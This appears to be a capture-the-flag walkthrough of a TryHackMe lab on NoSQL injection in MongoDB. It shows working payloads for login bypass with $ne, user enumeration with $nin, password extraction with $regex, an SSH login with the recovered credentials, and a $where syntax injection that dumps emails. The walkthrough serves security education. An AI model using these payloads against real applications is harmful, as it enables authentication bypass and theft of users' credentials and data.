NoSQL Injection
https://tryhackme.com/room/nosqlinjectiontutorial
A walkthrough depicting basic NoSQL injections on MongoDB.
Operator Injection: Bypassing the Login Screen
Section titled “Operator Injection: Bypassing the Login Screen”Login screen:

Login request
POST /login.php HTTP/1.1Host: 10.10.131.108Content-Length: 38Cache-Control: max-age=0Accept-Language: en-GB,en;q=0.9Origin: http://10.10.131.108Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://10.10.131.108/Accept-Encoding: gzip, deflate, brConnection: keep-alive
user=admin&pass=pasword123&remember=onPayload:
user[$ne]=xyz&pass[$ne]=xyzRequest
POST /login.php HTTP/1.1Host: 10.10.131.108Content-Length: 39Cache-Control: max-age=0Accept-Language: en-GB,en;q=0.9Origin: http://10.10.131.108Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://10.10.131.108/?err=1Accept-Encoding: gzip, deflate, brConnection: keep-alive
user[$ne]=xyz&pass[$ne]=xyz&remember=onReturn all user documents and as a result we are finally logged into the application:
Logging in as the first user that the database returned.
Operator Injection: Logging in as Other Users
Section titled “Operator Injection: Logging in as Other Users”Excluding admin user, using $nin (not in) operator, to get the next user from the next document
user[$nin][]=admin&pass[$ne]=dfdsf&remember=onFound user “pedro”, excluding “pedro” to find next user
user[$nin][]=admin&user[$nin][]=pedro&pass[$ne]=dfdsf&remember=onFound user “john”, excluding “john” to find next user
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&pass[$ne]=dfdsf&remember=onFound user “secret”, excluding “secret” to find next user
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=dfdsf&remember=onServer return invalid user and password which means there is no more users.
Total users are 4: admin, pedro, john and secret
Operator Injection: Extracting Users’ Passwords
Section titled “Operator Injection: Extracting Users’ Passwords”Using regex to test the user’s password length
user=john&pass[$regex]=^.{7}$&remember=onThe length is not 7 because the response returns Location: /?err=1
HTTP/1.1 302 FoundDate: Sat, 07 Jun 2025 08:53:07 GMTServer: Apache/2.4.41 (Ubuntu)Location: /?err=1Content-Length: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Using intruder to cycle through the numbers shows the password is 8 characters long

Guessing the password.
user=john&pass[$regex]=^c.......$&remember=onJohn’s password: 10584312

Pedro’s password: coolpass123

SSH with Pedro’s creds
❯ ssh pedro@10.10.131.108pedro@10.10.131.108's password:Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/proLast login: Wed Jun 23 03:34:24 2021 from 192.168.100.250pedro@ip-10-10-131-108:~$ la.bash_history .bash_logout .bashrc .cache flag.txt .profile .viminfopedro@ip-10-10-131-108:~$ cat flag.txtflag{N0Sql_n01iF3!}Flag
flag{N0Sql_n01iF3!}Syntax Injection: Identification and Data Extraction
Section titled “Syntax Injection: Identification and Data Extraction”Authenticating with the provided credentials

syntax@10.10.131.108's password:Please provide the username to receive their email:Syntax injection test
~ ❯ syntax@10.10.131.108's password:Please provide the username to receive their email:admin'Traceback (most recent call last): File "/home/syntax/script.py", line 17, in <module> for x in mycol.find({"$where": "this.username == '" + username + "'"}): File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/cursor.py", line 1281, in __next__ return self.next() File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/cursor.py", line 1257, in next if len(self._data) or self._refresh(): File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/cursor.py", line 1205, in _refresh self._send_message(q) File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/cursor.py", line 1100, in _send_message response = client._run_operation( File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/_csot.py", line 119, in csot_wrapper return func(self, *args, **kwargs) File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 1754, in _run_operation return self._retryable_read( File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 1863, in _retryable_read return self._retry_internal( File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/_csot.py", line 119, in csot_wrapper return func(self, *args, **kwargs) File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 1819, in _retry_internal return _ClientConnectionRetryable( File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 2554, in run return self._read() if self._is_read else self._write() File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 2697, in _read return self._func(self._session, self._server, conn, read_pref) # type: ignore File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/mongo_client.py", line 1745, in _cmd return server.run_operation( File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/helpers.py", line 45, in inner return func(*args, **kwargs) File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/synchronous/server.py", line 227, in run_operation _check_command_response(first, conn.max_wire_version) File "/home/syntax/venv/lib/python3.8/site-packages/pymongo/helpers_shared.py", line 247, in _check_command_response raise OperationFailure(errmsg, code, response, max_wire_version)pymongo.errors.OperationFailure: SyntaxError: unterminated string literal :functionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25, full error: {'ok': 0.0, 'errmsg': 'SyntaxError: unterminated string literal :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n', 'code': 139, 'codeName': 'JSInterpreterFailure'}Connection to 10.10.131.108 closed.Error shows the code where the variable is injected.
for x in mycol.find({"$where": "this.username == '" + username + "'"}):The following is an example of how the query would look when manipulated to always return true:
this.username == 'admin' || '1' == '1'From this, the injected payload would be:
admin' || '1' == '1Result:
~ ❯ ssh syntax@10.10.131.108 syntax@10.10.131.108's password:Please provide the username to receive their email:admin' || '1' == '1admin@nosql.intpcollins@nosql.intjsmith@nosql.intSyntax@Injection.FTWConnection to 10.10.131.108 closed.